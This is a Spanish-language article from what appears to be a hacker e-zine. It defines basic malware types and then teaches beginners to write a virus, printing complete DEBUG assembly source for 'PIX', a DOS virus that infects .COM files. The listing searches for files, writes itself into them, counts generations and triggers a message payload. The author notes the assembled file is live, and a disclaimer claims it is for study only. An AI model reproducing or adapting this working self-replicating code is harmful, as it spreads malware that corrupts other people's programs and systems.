IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII o 11. EL DIVERTIDO MUNDO DE LOS VIRUS o IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII Hola a todos, bienvenidos al divertido mundo de los virus, esos peque€os engendros que tan divertidos son. En estos articulos ense€are las tecnicas basicas para crear un virus simple, pero no por eso menos efectivo. IDEAS BASICAS =============== Antes de empezar a soltar el rollo voy a hacer, unas peque€as definiciones sobre el mundo de los virus, es mas que nada para los que no tengan idea de casi nada de este mundo, para los demas seguir mas abajo ;-) .VIRUS: Es un peque€o programa generalmente escrito en ensamblador, aunque los hay escritos en pascal y otros lenguajes, el cual es capaz replicar su codigo de forma continuada, hasta llegar a una fecha predeterminada o numero de encendidos del ordenar en la cual el virus hace su accion nociva por asi decirlo. .CABALLO DE TROYA (TROYANO): Es un programa legal (en apariencia) que lleva en su interior un codigo da€ino en cuestion, este no se autoreplica solo se ejecuta una vez (y ya es suficiente para que acabe con tu disco), uno de los mas famoso el Trojan AIDS. .GUSANO: Es un programa que se desplaza por la memoria del ordenador(RAM), busca zonas de memoria desocupadas en las que realiza copias repetidas hasta provocar un desbordamiento de memoria, se usan mayoritariamente en redes, uno de los mas famosos fue el de Robert Morris. .BOMBA LOGICA: Es un peque€o programa que permanece, oculto y ni se autoduplica ni se desplaza en memoria, tan solo espera a que llegue una fecha determinada o que alguien ejecute una orden y entonces se activa el proceso destructivo de la bomba al igual que el caballo de troya solo se ejecuta una vez. Bien es hora de pasar a lo que realmente interesa el principio de un virus. Solo se necesita saber algo de programacion, y ganas de aprender ya vereis que al final no es tan dificil hacer un virus simple y a partir de ahi mejorarlo. Primero veamos como actua un virus 1- Busca un fichero para infectar (Ej.: EXE,COM,OVL...) 2- Lo abre y comprueba el tipo de fichero,tama€o y si esta infectado. 3- Si esta infectado, lo cierra y busca otro 4- Por el contrario sino lo infecta. 5- Le devuelve el control al programa infectandose y continua la ejecucion normal. Llego la hora del ejemplo. Es un virus llamado PIX, quiza no es muy famoso y mucho menos una maravilla de virus, pero sirve de ejemplo. ­­­ CUIDADO !!! si lo haceis COM con el DEBUG, el virus estara activo, asi que si lo ejecutais ya os imaginais lo que pasara ;-))) NPIX.COM A JMP 0116 DB 90,49,56,00,2A,2E,43,4F,4D,00,4F,04,00,00,01,00,00,00,00,00 MOV AX,CS ADD AX,1000 MOV ES,AX INC BYTE PTR [0105] ; Incrementa el contador de generaciones. MOV SI,0100 XOR DI,DI MOV CX,014F REPZ MOVSB MOV DX,025F MOV AH,1A INT 21 ;Se encarga de crear el DTA para los ficheros... MOV DX,0106 ;con extension.COM MOV CX,0018 MOV AH,4E INT 21 JB 019E MOV DX,027D MOV AX,3D02 ;Abre el fichero en modo lectura/escritura. INT 21 MOV [0114],AX MOV BX,AX PUSH ES POP DS MOV DX,034F MOV CX,FFFF MOV AH,3F INT 21 ADD AX,034F CS: MOV [0112],AX ;A continuacion, la firma del virus: dB 3E,81,3E DB 52,03 DB 49,56 JZ 0188 XOR CX,CX MOV DX,CX CS: MOV BX,[0114] MOV AX,4200 INT 21 ;Desplaza el puntero. JB 0188 MOV DX,0000 CS: MOV CX,[0112] CS: MOV BX,[0114] MOV AH,40 INT 21 ;Salva virus y programa contaminado. CS: MOV BX,[0112] MOV AH,3E INT 21 ;Cierra el fichero. PUSH CS POP DS MOV AH,4F MOV DX,025F INT 21 JB 019E JMP 013E MOV DX,0080 MOV AH,1A INT 21 ;Restaura el DTA original. CMP BYTE PTR [0105],05 ; šQuinta generacion?... JB 0207 ; Si es asi, comienza el espectaculo. MOV AX,0040 MOV DS,AX MOV AX,[006C] ; Aleatoriedad de manifestacion del virus... PUSH CS ; mediante el registro de decimas de segundo. POPDS AND AX,0001 JZ 0207 MOV DX,01C4 MOV AH,09 INT 21 INT 20 ; A continuacion, el mensaje del virus. DB 59,4F,55,52,20,50,43,20,48,41,56,45,20,41,20,4D,45,53,53,41,4A,52 DB 20,46,4F,52,20,59,4F,55,20,3A,20,4A,4F,44,45,54,45,20,59,20,45,53 DB 50,45,52,41,20,43,41,4D,49,4C,4F,20,4A,4F,53,45,20,43,45,4C,41,2E DB 24 MOV SI,0224 MOV CX,002B XOR DI,DI REPZ MOVSB XOR DI,DI CS: MOV WORD PTR [010E],0000 CS: MOV [0110],ES CS: JMP FAR [010E] PUSH DS POP ES MOV SI,044F CMP BYTE PTR [0105],01 JNZ 0234 SUB SI,0200 MOV DI,0100 MOV CX,FFFF SUB CX,SI REPZ MOVSB CS: MOV WORD PTR [0100],0100 CS: MOV [0102],DS CS: JMP FAR [0100] ; Salto a la ejecucion del verdadero programa... INT 20 ; siempre que se trate de una generacion... INT 20 ; posterior a la primera, y por tanto, exista. DB 0,0 R CX 154 W Q * Todo lo explicado es puramente para interes cientifico o estudio, el autor del articulo no se hace responsable del mal uso de lo aqui expuesto ni de los da€os que estos puedan causar. NOTA: Aun no soy ningun experto, en la tecnica de los virus, solo intento aportar una ayuda para los que como yo una vez, empiezan ahora en este mundo de los virus, la informacion aqui expuesta esta sacada de investigaciones propias y de largas horas de busqueda de informacion en otras revistas y textos de qualquier tipo hallados en INTERNET. A todos ellos GRACIAS. O:-) POLIMORPH